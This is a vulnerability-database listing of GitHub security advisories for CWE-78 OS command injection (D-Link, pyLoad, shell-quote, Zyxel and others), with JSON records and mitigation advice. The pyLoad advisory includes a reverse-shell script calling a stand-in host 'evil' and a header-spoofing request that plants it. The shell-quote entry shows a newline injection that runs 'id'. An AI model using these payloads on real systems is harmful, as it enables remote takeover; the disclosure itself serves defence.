CWE-78
AllowedImproper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Abstraction: Base · Status: Stable
The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.
8265 vulnerabilities reference this CWE, most recent first.
GHSA-W7GC-GXJH-PG78
Vulnerability from github – Published: 2025-08-01 21:31 – Updated: 2025-09-23 18:30An OS command injection vulnerability exists in various legacy D-Link routers—including DIR-300 rev B and DIR-600 (firmware ≤ 2.13 and ≤ 2.14b01, respectively)—due to improper input handling in the unauthenticated command.php endpoint. By sending specially crafted POST requests, a remote attacker can execute arbitrary shell commands with root privileges, allowing full takeover of the device. This includes launching services such as Telnet, exfiltrating credentials, modifying system configuration, and disrupting availability. The flaw stems from the lack of authentication and inadequate sanitation of the cmd parameter.
{
"affected": [],
"aliases": [
"CVE-2013-10048"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-08-01T21:15:26Z",
"severity": "CRITICAL"
},
"details": "An OS command injection vulnerability exists in various legacy D-Link routers\u2014including DIR-300 rev B and DIR-600 (firmware \u2264 2.13 and \u2264 2.14b01, respectively)\u2014due to improper input handling in the unauthenticated command.php endpoint. By sending specially crafted POST requests, a remote attacker can execute arbitrary shell commands with root privileges, allowing full takeover of the device. This includes launching services such as Telnet, exfiltrating credentials, modifying system configuration, and disrupting availability. The flaw stems from the lack of authentication and inadequate sanitation of the cmd parameter.",
"id": "GHSA-w7gc-gxjh-pg78",
"modified": "2025-09-23T18:30:21Z",
"published": "2025-08-01T21:31:06Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2013-10048"
},
{
"type": "WEB",
"url": "https://raw.githubusercontent.com/rapid7/metasploit-framework/master/modules/exploits/linux/http/dlink_command_php_exec_noauth.rb"
},
{
"type": "WEB",
"url": "https://web.archive.org/web/20131022221648/http://www.s3cur1ty.de/m1adv2013-003"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/24453"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/27528"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/d-link-legacy-unauth-rce"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-W7HQ-F2PJ-C53G
Vulnerability from github – Published: 2024-10-28 12:23 – Updated: 2026-06-08 19:05Summary
The folder /.pyload/scripts has scripts which are run when certain actions are completed, for e.g. a download is finished. By downloading a executable file to a folder in /scripts and performing the respective action, remote code execution can be achieved. A file can be downloaded to such a folder by changing the download folder to a folder in /scripts path and using the /flashgot API to download the file.
Details
Configuration changes
1. Change the download folder to /home/<user>/.pyload/scripts
2. Change permissions for downloaded files:
1. Change permissions of downloads: on
2. Permission mode for downloaded files: 0744
Making the request to download files
The flashgot API provides functionality to download files from a provided URL. Although pyload tries to prevent non-local requests from being able to reach this API, it relies on checking the Host header and the Referer header of the incoming request. Both of these can be set by an attacker to arbitrary values, thereby bypassing these checks.
Referer header check
def flashgot():
if flask.request.referrer not in (
"http://localhost:9666/flashgot",
"http://127.0.0.1:9666/flashgot",
):
flask.abort(500)
...
Host header check for local check
def local_check(func):
@wraps(func)
def wrapper(*args, **kwargs):
remote_addr = flask.request.environ.get("REMOTE_ADDR", "0")
http_host = flask.request.environ.get("HTTP_HOST", "0")
if remote_addr in ("127.0.0.1", "::ffff:127.0.0.1", "::1", "localhost") or http_host in (
"127.0.0.1:9666",
"[::1]:9666",
):
return func(*args, **kwargs)
else:
return "Forbidden", 403
return wrapper
Once the file is downloaded to a folder in the scripts folder, the attacker can perform the respective action, and the script will be executed
PoC
Create a malicious file. I have created a reverse shell
#!/bin/bash
bash -i >& /dev/tcp/evil/9002 0>&1
Host this file at some URL, for eg: http://evil
Create a request like this for the flashgot API. I am using download_finished folder as the destination folder. Scripts in this folder are run when a download is completed.
import requests
url = "http://pyload/flashgot"
headers = {"host": "127.0.0.1:9666", "Referer": "http://127.0.0.1:9666/flashgot"}
data = {
"package": "download_finished",
"passwords": "optional_password",
"urls": "http://evil/exp.sh",
"autostart": 1,
}
response = requests.post(url, data=data, headers=headers)
When the above request is made, exp.sh will be downloaded to /scripts/download_finished folder. For all subsequent downloads, this script will be run. Sending the request again causes a download of the file again, and when the download is complete, the script is run.
I also have a listener on my machine which receives the request from the pyload server. When the script executes, I get a connection back to my machine
Screenshots
Download folder
exp.sh is downloaded
Script is run
Reverse shell connection is received
Impact
This vulnerability allows an attacker with access to change the settings on a pyload server to execute arbitrary code and completely compromise the system
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "pyload-ng"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.5.0b3.dev87"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-47821"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": true,
"github_reviewed_at": "2024-10-28T12:23:29Z",
"nvd_published_at": "2024-10-25T23:15:02Z",
"severity": "HIGH"
},
"details": "### Summary\nThe folder `/.pyload/scripts` has scripts which are run when certain actions are completed, for e.g. a download is finished. By downloading a executable file to a folder in /scripts and performing the respective action, remote code execution can be achieved. A file can be downloaded to such a folder by changing the download folder to a folder in `/scripts` path and using the `/flashgot` API to download the file.\n\n### Details\n\n**Configuration changes**\n1. Change the download folder to `/home/\u003cuser\u003e/.pyload/scripts`\n2. Change permissions for downloaded files:\n 1. Change permissions of downloads: on\n 2. Permission mode for downloaded files: 0744\n\n**Making the request to download files**\n\nThe `flashgot` API provides functionality to download files from a provided URL. Although pyload tries to prevent non-local requests from being able to reach this API, it relies on checking the Host header and the Referer header of the incoming request. Both of these can be set by an attacker to arbitrary values, thereby bypassing these checks.\n\n*Referer header check*\n```\ndef flashgot():\n if flask.request.referrer not in (\n \"http://localhost:9666/flashgot\",\n \"http://127.0.0.1:9666/flashgot\",\n ):\n flask.abort(500)\n ...\n```\n*Host header check for local check*\n```\ndef local_check(func):\n @wraps(func)\n def wrapper(*args, **kwargs):\n remote_addr = flask.request.environ.get(\"REMOTE_ADDR\", \"0\")\n http_host = flask.request.environ.get(\"HTTP_HOST\", \"0\")\n\n if remote_addr in (\"127.0.0.1\", \"::ffff:127.0.0.1\", \"::1\", \"localhost\") or http_host in (\n \"127.0.0.1:9666\",\n \"[::1]:9666\",\n ):\n return func(*args, **kwargs)\n else:\n return \"Forbidden\", 403\n\n return wrapper\n```\n\nOnce the file is downloaded to a folder in the scripts folder, the attacker can perform the respective action, and the script will be executed\n\n\n### PoC\nCreate a malicious file. I have created a reverse shell\n```\n#!/bin/bash\nbash -i \u003e\u0026 /dev/tcp/evil/9002 0\u003e\u00261\n```\n\nHost this file at some URL, for eg: http://evil\n\nCreate a request like this for the `flashgot` API. I am using `download_finished` folder as the destination folder. Scripts in this folder are run when a download is completed.\n```\nimport requests\n\nurl = \"http://pyload/flashgot\"\nheaders = {\"host\": \"127.0.0.1:9666\", \"Referer\": \"http://127.0.0.1:9666/flashgot\"}\n\ndata = {\n \"package\": \"download_finished\", \n \"passwords\": \"optional_password\", \n \"urls\": \"http://evil/exp.sh\",\n \"autostart\": 1,\n}\n\n\nresponse = requests.post(url, data=data, headers=headers)\n```\nWhen the above request is made, exp.sh will be downloaded to `/scripts/download_finished folder`. For all subsequent downloads, this script will be run. Sending the request again causes a download of the file again, and when the download is complete, the script is run.\n\nI also have a listener on my machine which receives the request from the pyload server. When the script executes, I get a connection back to my machine\n\n### Screenshots\n*Download folder*\n\n\u003cimg width=\"672\" alt=\"1\" src=\"https://github.com/user-attachments/assets/77fc5202-bed2-41a2-98ae-9cb7b1315f76\"\u003e\n\n*`exp.sh` is downloaded*\n\n\u003cimg width=\"714\" alt=\"2\" src=\"https://github.com/user-attachments/assets/5e6e19db-2a5c-48f4-9973-817528b5b9ec\"\u003e\n\n*Script is run*\n\n\u003cimg width=\"714\" alt=\"3\" src=\"https://github.com/user-attachments/assets/34fbdaee-50ba-46a8-a372-ec8c91d03aa9\"\u003e\n\n*Reverse shell connection is received*\n\n\u003cimg width=\"314\" alt=\"4\" src=\"https://github.com/user-attachments/assets/4713d56e-e850-47ad-99b3-cab0c7bba800\"\u003e\n\n\n### Impact\nThis vulnerability allows an attacker with access to change the settings on a pyload server to execute arbitrary code and completely compromise the system",
"id": "GHSA-w7hq-f2pj-c53g",
"modified": "2026-06-08T19:05:57Z",
"published": "2024-10-28T12:23:29Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/pyload/pyload/security/advisories/GHSA-w7hq-f2pj-c53g"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-47821"
},
{
"type": "WEB",
"url": "https://github.com/pyload/pyload/commit/48f59567393a19263c8a0285256a7537dc9ce109"
},
{
"type": "PACKAGE",
"url": "https://github.com/pyload/pyload"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/pyload-ng/PYSEC-2024-302.yaml"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:P",
"type": "CVSS_V4"
}
],
"summary": "pyLoad vulnerable to remote code execution by download to /.pyload/scripts using /flashgot API"
}
GHSA-W7HW-MC66-FGP3
Vulnerability from github – Published: 2024-11-04 15:31 – Updated: 2024-11-04 18:31DrayTek Vigor3900 1.5.1.3 contains a post-authentication command injection vulnerability. This vulnerability occurs when the action parameter in cgi-bin/mainfunction.cgi is set to doOpenVPN.
{
"affected": [],
"aliases": [
"CVE-2024-45887"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-11-04T15:15:22Z",
"severity": "HIGH"
},
"details": "DrayTek Vigor3900 1.5.1.3 contains a post-authentication command injection vulnerability. This vulnerability occurs when the `action` parameter in `cgi-bin/mainfunction.cgi` is set to `doOpenVPN.`",
"id": "GHSA-w7hw-mc66-fgp3",
"modified": "2024-11-04T18:31:21Z",
"published": "2024-11-04T15:31:58Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-45887"
},
{
"type": "WEB",
"url": "https://github.com/N1nEmAn/wp/blob/main/test_v.zip"
},
{
"type": "WEB",
"url": "https://github.com/fu37kola/cve/blob/main/DrayTek/Vigor3900/1.5.1.3/DrayTek_Vigor_3900_1.5.1.3.pdf"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-W7JV-24HG-Q599
Vulnerability from github – Published: 2024-01-17 18:31 – Updated: 2024-01-17 18:31A vulnerability in the web-based management interface of Cisco ThousandEyes Enterprise Agent, Virtual Appliance installation type, could allow an authenticated, remote attacker to perform a command injection and elevate privileges to root. This vulnerability is due to insufficient validation of user-supplied input for the web interface. An attacker could exploit this vulnerability by sending a crafted HTTP packet to the affected device. A successful exploit could allow the attacker to execute arbitrary commands and elevate privileges to root.
{
"affected": [],
"aliases": [
"CVE-2024-20277"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-01-17T17:15:12Z",
"severity": "MODERATE"
},
"details": "A vulnerability in the web-based management interface of Cisco ThousandEyes Enterprise Agent, Virtual Appliance installation type, could allow an authenticated, remote attacker to perform a command injection and elevate privileges to root. This vulnerability is due to insufficient validation of user-supplied input for the web interface. An attacker could exploit this vulnerability by sending a crafted HTTP packet to the affected device. A successful exploit could allow the attacker to execute arbitrary commands and elevate privileges to root.",
"id": "GHSA-w7jv-24hg-q599",
"modified": "2024-01-17T18:31:38Z",
"published": "2024-01-17T18:31:38Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-20277"
},
{
"type": "WEB",
"url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-thouseyes-privesc-DmzHG3Qv"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-W7JW-789Q-3M8P
Vulnerability from github – Published: 2026-06-09 14:27 – Updated: 2026-06-09 14:27Summary
shell-quote's quote() function did not validate object-token inputs against the operator model used by parse(). The .op field was backslash-escaped character by character using /(.)/g, which in JavaScript does not match line terminators (\n, \r, U+2028, U+2029). A line terminator in .op therefore passed through unescaped into the output; POSIX shells treat a literal \n as a command separator, so any content after it would execute as a second command.
The vulnerable code path is reachable in two ways. Neither requires the parser to misbehave — parse() only emits ops from a fixed control set — but both are documented API surface:
- Direct construction. A caller builds
{ op: '...\n...' }from external input (e.g. a deserialized argument array) and passes it toquote(). envFnreturn.parse(cmd, envFn)is documented to splice the return value ofenvFninto the result array when it is an object. An attacker-influenced data source consulted byenvFncan introduce an object token whose.opreachesquote().
Impact
Shell command injection in callers that pass object tokens with attacker-influenced .op values to quote() and then hand the result to a shell. The preconditions are narrower than ordinary string injection — they require the caller to feed object tokens into quote() — but object tokens are a public, documented part of the API surface, and quote() is intended to be a shell-safety boundary.
PoC
const { parse, quote } = require('shell-quote');
// Direct construction
quote([{ op: ';\nid' }]);
// → "\;\n\\i\\d" ← literal newline; second line executes as a command
// Via parse() with an envFn returning attacker-shaped objects
const tokens = parse('echo $X', () => ({ op: ';\nid' }));
require('child_process').execSync(quote(tokens), { shell: true });
// Executes `id` after `echo \;`.
Confirmed under sh, bash, dash, and zsh.
Patch
Fixed by replacing the per-character escape with strict shape validation in quote(). The object-token branch now:
{ op }—.opmust be a string from the same allowlist the parser emits (||,&&,;;,|&,<(,<<<,>>,>&,<&,&,;,(,),|,<,>). Anything else throwsTypeError. This is the direct fix for the reported issue and removes the entire class of.opinjection.{ op: 'glob', pattern }—.patternmust be a string with no line terminators. Glob metacharacters (*,?,[,],{,},,) pass through; all other shell-special characters are backslash-escaped. (Previously the pattern field was discarded entirely and the literal string\g\l\o\bwas emitted — a latent bug, not security-relevant.){ comment }—.commentmust be a string with no line terminators (line terminators would end the shell comment and resume command parsing — same injection shape).- Any other object shape —
TypeError.
The fix is allowlist-based rather than a targeted regex tweak, so it closes the reported vector and forecloses adjacent ones (U+2028 / U+2029 line separators in .op, line terminators in comments, unknown-shape objects coerced through .replace).
Workarounds
Prior to upgrading, callers that build object tokens from untrusted input should validate .op against the parser's operator set themselves, and never construct { op } from attacker-controlled strings.
Credits
Reported by Akshat Sinha
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.8.3"
},
"package": {
"ecosystem": "npm",
"name": "shell-quote"
},
"ranges": [
{
"events": [
{
"introduced": "1.1.0"
},
{
"fixed": "1.8.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-9277"
],
"database_specific": {
"cwe_ids": [
"CWE-77",
"CWE-78"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-09T14:27:15Z",
"nvd_published_at": "2026-05-22T14:16:30Z",
"severity": "CRITICAL"
},
"details": "### Summary\n\n`shell-quote`\u0027s `quote()` function did not validate object-token inputs against the operator model used by `parse()`. The `.op` field was backslash-escaped character by character using `/(.)/g`, which in JavaScript does not match line terminators (`\\n`, `\\r`, U+2028, U+2029). A line terminator in `.op` therefore passed through unescaped into the output; POSIX shells treat a literal `\\n` as a command separator, so any content after it would execute as a second command.\n\nThe vulnerable code path is reachable in two ways. Neither requires the parser to misbehave \u2014 `parse()` only emits ops from a fixed control set \u2014 but both are documented API surface:\n\n1. **Direct construction.** A caller builds `{ op: \u0027...\\n...\u0027 }` from external input (e.g. a deserialized argument array) and passes it to `quote()`.\n2. **`envFn` return.** `parse(cmd, envFn)` is documented to splice the return value of `envFn` into the result array when it is an object. An attacker-influenced data source consulted by `envFn` can introduce an object token whose `.op` reaches `quote()`.\n\n### Impact\n\nShell command injection in callers that pass object tokens with attacker-influenced `.op` values to `quote()` and then hand the result to a shell. The preconditions are narrower than ordinary string injection \u2014 they require the caller to feed object tokens into `quote()` \u2014 but object tokens are a public, documented part of the API surface, and `quote()` is intended to be a shell-safety boundary.\n\n### PoC\n\n```js\nconst { parse, quote } = require(\u0027shell-quote\u0027);\n\n// Direct construction\nquote([{ op: \u0027;\\nid\u0027 }]);\n// \u2192 \"\\;\\n\\\\i\\\\d\" \u2190 literal newline; second line executes as a command\n\n// Via parse() with an envFn returning attacker-shaped objects\nconst tokens = parse(\u0027echo $X\u0027, () =\u003e ({ op: \u0027;\\nid\u0027 }));\nrequire(\u0027child_process\u0027).execSync(quote(tokens), { shell: true });\n// Executes `id` after `echo \\;`.\n```\n\nConfirmed under `sh`, `bash`, `dash`, and `zsh`.\n\n### Patch\n\nFixed by replacing the per-character escape with strict shape validation in `quote()`. The object-token branch now:\n\n- **`{ op }`** \u2014 `.op` must be a string from the same allowlist the parser emits (`||`, `\u0026\u0026`, `;;`, `|\u0026`, `\u003c(`, `\u003c\u003c\u003c`, `\u003e\u003e`, `\u003e\u0026`, `\u003c\u0026`, `\u0026`, `;`, `(`, `)`, `|`, `\u003c`, `\u003e`). Anything else throws `TypeError`. This is the direct fix for the reported issue and removes the entire class of `.op` injection.\n- **`{ op: \u0027glob\u0027, pattern }`** \u2014 `.pattern` must be a string with no line terminators. Glob metacharacters (`*`, `?`, `[`, `]`, `{`, `}`, `,`) pass through; all other shell-special characters are backslash-escaped. (Previously the pattern field was discarded entirely and the literal string `\\g\\l\\o\\b` was emitted \u2014 a latent bug, not security-relevant.)\n- **`{ comment }`** \u2014 `.comment` must be a string with no line terminators (line terminators would end the shell comment and resume command parsing \u2014 same injection shape).\n- **Any other object shape** \u2014 `TypeError`.\n\nThe fix is allowlist-based rather than a targeted regex tweak, so it closes the reported vector and forecloses adjacent ones (U+2028 / U+2029 line separators in `.op`, line terminators in comments, unknown-shape objects coerced through `.replace`).\n\n### Workarounds\n\nPrior to upgrading, callers that build object tokens from untrusted input should validate `.op` against the parser\u0027s operator set themselves, and never construct `{ op }` from attacker-controlled strings.\n\n### Credits\n\nReported by Akshat Sinha",
"id": "GHSA-w7jw-789q-3m8p",
"modified": "2026-06-09T14:27:15Z",
"published": "2026-06-09T14:27:15Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/ljharb/shell-quote/security/advisories/GHSA-w7jw-789q-3m8p"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-9277"
},
{
"type": "WEB",
"url": "https://github.com/ljharb/shell-quote/commit/1518179"
},
{
"type": "PACKAGE",
"url": "https://github.com/ljharb/shell-quote"
},
{
"type": "WEB",
"url": "https://www.npmjs.com/package/shell-quote"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2026/05/23/2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "shell-quote quote() does not escape newlines in object .op values"
}
GHSA-W7P8-RXJG-J7WX
Vulnerability from github – Published: 2024-11-19 21:31 – Updated: 2024-11-19 21:31A security agent manual scan command injection vulnerability in the Trend Micro Deep Security 20 Agent could allow an attacker to escalate privileges and execute arbitrary code on an affected machine. In certain circumstances, attackers that have legitimate access to the domain may be able to remotely inject commands to other machines in the same domain.
Please note: an attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability locally and must have domain user privileges to affect other machines.
{
"affected": [],
"aliases": [
"CVE-2024-51503"
],
"database_specific": {
"cwe_ids": [
"CWE-77",
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-11-19T19:15:08Z",
"severity": "HIGH"
},
"details": "A security agent manual scan command injection vulnerability in the Trend Micro Deep Security 20 Agent could allow an attacker to escalate privileges and execute arbitrary code on an affected machine. In certain circumstances, attackers that have legitimate access to the domain may be able to remotely inject commands to other machines in the same domain.\n\nPlease note: an attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability locally and must have domain user privileges to affect other machines.",
"id": "GHSA-w7p8-rxjg-j7wx",
"modified": "2024-11-19T21:31:32Z",
"published": "2024-11-19T21:31:32Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-51503"
},
{
"type": "WEB",
"url": "https://success.trendmicro.com/en-US/solution/KA-0018154"
},
{
"type": "WEB",
"url": "https://www.zerodayinitiative.com/advisories/ZDI-24-1516"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-W7R3-CC9H-PG34
Vulnerability from github – Published: 2022-05-02 03:56 – Updated: 2022-05-02 03:56Accellion Secure File Transfer Appliance before 8_0_105 allows remote authenticated administrators to bypass the restricted shell and execute arbitrary commands via shell metacharacters to the ping command, as demonstrated by modifying the cli program.
{
"affected": [],
"aliases": [
"CVE-2009-4644"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2010-02-19T17:30:00Z",
"severity": "HIGH"
},
"details": "Accellion Secure File Transfer Appliance before 8_0_105 allows remote authenticated administrators to bypass the restricted shell and execute arbitrary commands via shell metacharacters to the ping command, as demonstrated by modifying the cli program.",
"id": "GHSA-w7r3-cc9h-pg34",
"modified": "2022-05-02T03:56:39Z",
"published": "2022-05-02T03:56:39Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2009-4644"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/56248"
},
{
"type": "WEB",
"url": "http://www.portcullis-security.com/338.php"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/38176"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-W7R5-R5GP-95JC
Vulnerability from github – Published: 2021-12-02 00:00 – Updated: 2021-12-03 00:00OS command injection vulnerability in ELECOM routers (WRC-1167GST2 firmware v1.25 and prior, WRC-1167GST2A firmware v1.25 and prior, WRC-1167GST2H firmware v1.25 and prior, WRC-2533GS2-B firmware v1.52 and prior, WRC-2533GS2-W firmware v1.52 and prior, WRC-1750GS firmware v1.03 and prior, WRC-1750GSV firmware v2.11 and prior, WRC-1900GST firmware v1.03 and prior, WRC-2533GST firmware v1.03 and prior, WRC-2533GSTA firmware v1.03 and prior, WRC-2533GST2 firmware v1.25 and prior, WRC-2533GST2SP firmware v1.25 and prior, WRC-2533GST2-G firmware v1.25 and prior, and EDWRC-2533GST2 firmware v1.25 and prior) allows a network-adjacent authenticated attackers to execute an arbitrary OS command with the root privilege via unspecified vectors.
{
"affected": [],
"aliases": [
"CVE-2021-20863"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-12-01T03:15:00Z",
"severity": "HIGH"
},
"details": "OS command injection vulnerability in ELECOM routers (WRC-1167GST2 firmware v1.25 and prior, WRC-1167GST2A firmware v1.25 and prior, WRC-1167GST2H firmware v1.25 and prior, WRC-2533GS2-B firmware v1.52 and prior, WRC-2533GS2-W firmware v1.52 and prior, WRC-1750GS firmware v1.03 and prior, WRC-1750GSV firmware v2.11 and prior, WRC-1900GST firmware v1.03 and prior, WRC-2533GST firmware v1.03 and prior, WRC-2533GSTA firmware v1.03 and prior, WRC-2533GST2 firmware v1.25 and prior, WRC-2533GST2SP firmware v1.25 and prior, WRC-2533GST2-G firmware v1.25 and prior, and EDWRC-2533GST2 firmware v1.25 and prior) allows a network-adjacent authenticated attackers to execute an arbitrary OS command with the root privilege via unspecified vectors.",
"id": "GHSA-w7r5-r5gp-95jc",
"modified": "2021-12-03T00:00:49Z",
"published": "2021-12-02T00:00:55Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-20863"
},
{
"type": "WEB",
"url": "https://jvn.jp/en/vu/JVNVU94527926/index.html"
},
{
"type": "WEB",
"url": "https://www.elecom.co.jp/news/security/20211130-01"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-W846-6866-QC3G
Vulnerability from github – Published: 2021-12-23 00:01 – Updated: 2022-04-20 00:02An OS command injection vulnerability exists in the Web Manager SslGenerateCSR functionality of Lantronix PremierWave 2050 8.9.0.0R4. A specially-crafted HTTP request can lead to arbitrary command execution. An attacker can make an authenticated HTTP request to trigger this vulnerability.
{
"affected": [],
"aliases": [
"CVE-2021-21884"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-12-22T19:15:00Z",
"severity": "CRITICAL"
},
"details": "An OS command injection vulnerability exists in the Web Manager SslGenerateCSR functionality of Lantronix PremierWave 2050 8.9.0.0R4. A specially-crafted HTTP request can lead to arbitrary command execution. An attacker can make an authenticated HTTP request to trigger this vulnerability.",
"id": "GHSA-w846-6866-qc3g",
"modified": "2022-04-20T00:02:01Z",
"published": "2021-12-23T00:01:16Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-21884"
},
{
"type": "WEB",
"url": "https://talosintelligence.com/vulnerability_reports/TALOS-2021-1328"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-W85W-M9JR-JFFX
Vulnerability from github – Published: 2023-02-07 03:30 – Updated: 2023-02-15 00:30A post-authentication command injection vulnerability in the CLI command of Zyxel ZyWALL/USG series firmware versions 4.20 through 4.72, VPN series firmware versions 4.30 through 5.32, USG FLEX series firmware versions 4.50 through 5.32, and ATP series firmware versions 4.32 through 5.32, which could allow an authenticated attacker with administrator privileges to execute OS commands.
{
"affected": [],
"aliases": [
"CVE-2022-38547"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-02-07T02:15:00Z",
"severity": "HIGH"
},
"details": "A post-authentication command injection vulnerability in the CLI command of Zyxel ZyWALL/USG series firmware versions 4.20 through 4.72, VPN series firmware versions 4.30 through 5.32, USG FLEX series firmware versions 4.50 through 5.32, and ATP series firmware versions 4.32 through 5.32, which could allow an authenticated attacker with administrator privileges to execute OS commands.",
"id": "GHSA-w85w-m9jr-jffx",
"modified": "2023-02-15T00:30:36Z",
"published": "2023-02-07T03:30:23Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-38547"
},
{
"type": "WEB",
"url": "https://www.zyxel.com/global/en/support/security-advisories/zyxel-security-advisory-for-post-authentication-rce-in-firewalls"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation
If at all possible, use library calls rather than external processes to recreate the desired functionality.
Mitigation MIT-22
Strategy: Sandbox or Jail
- Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
- OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation
Strategy: Attack Surface Reduction
For any data that will be used to generate a command to be executed, keep as much of that data out of external control as possible. For example, in web applications, this may require storing the data locally in the session's state instead of sending it out to the client in a hidden form field.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-4.3
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
- For example, consider using the ESAPI Encoding control [REF-45] or a similar tool, library, or framework. These will help the programmer encode outputs in a manner less prone to error.
Mitigation MIT-28
Strategy: Output Encoding
While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).
